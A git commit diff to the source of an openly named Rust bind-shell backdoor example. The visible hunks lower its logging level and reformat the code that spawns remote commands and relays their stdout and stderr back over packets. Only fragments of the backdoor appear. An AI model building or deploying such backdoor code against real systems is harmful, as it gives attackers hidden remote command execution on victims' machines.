feat: added the ability to send commands

examples/bind-shell/backdoor/src/main.rs

@@ -27,7 +27,7 @@ async fn main() -> anyhow::Result<()> {
 async fn handled_main() -> anyhow::Result<()> {
     simple_logger::SimpleLogger::new()
         .with_level(log::LevelFilter::Off)
-        .with_module_level("ex_bind_shell_backdoor", log::LevelFilter::Info)
+        .with_module_level("ex_bind_shell_backdoor", log::LevelFilter::Error)
         .init()?;
 
     let pubkey =
@@ -214,7 +214,7 @@ async fn handle_command(
         .stdin(Stdio::null())
         .stdout(Stdio::piped())
         .stderr(Stdio::piped()))
-        .spawn() else {
+    .spawn() else {
         if let Err(e) = send_response.send(error_eth_packet.clone()).await {
             log::warn!("Could not send command done packet: {e:?}");
         }
@@ -243,7 +243,9 @@ async fn handle_command(
             let (out_type, Ok(len)) = tokio::select! {
                 v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
                 v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
-            } else { continue; };
+            } else {
+                continue;
+            };
 
             if len == 0 {
                 break;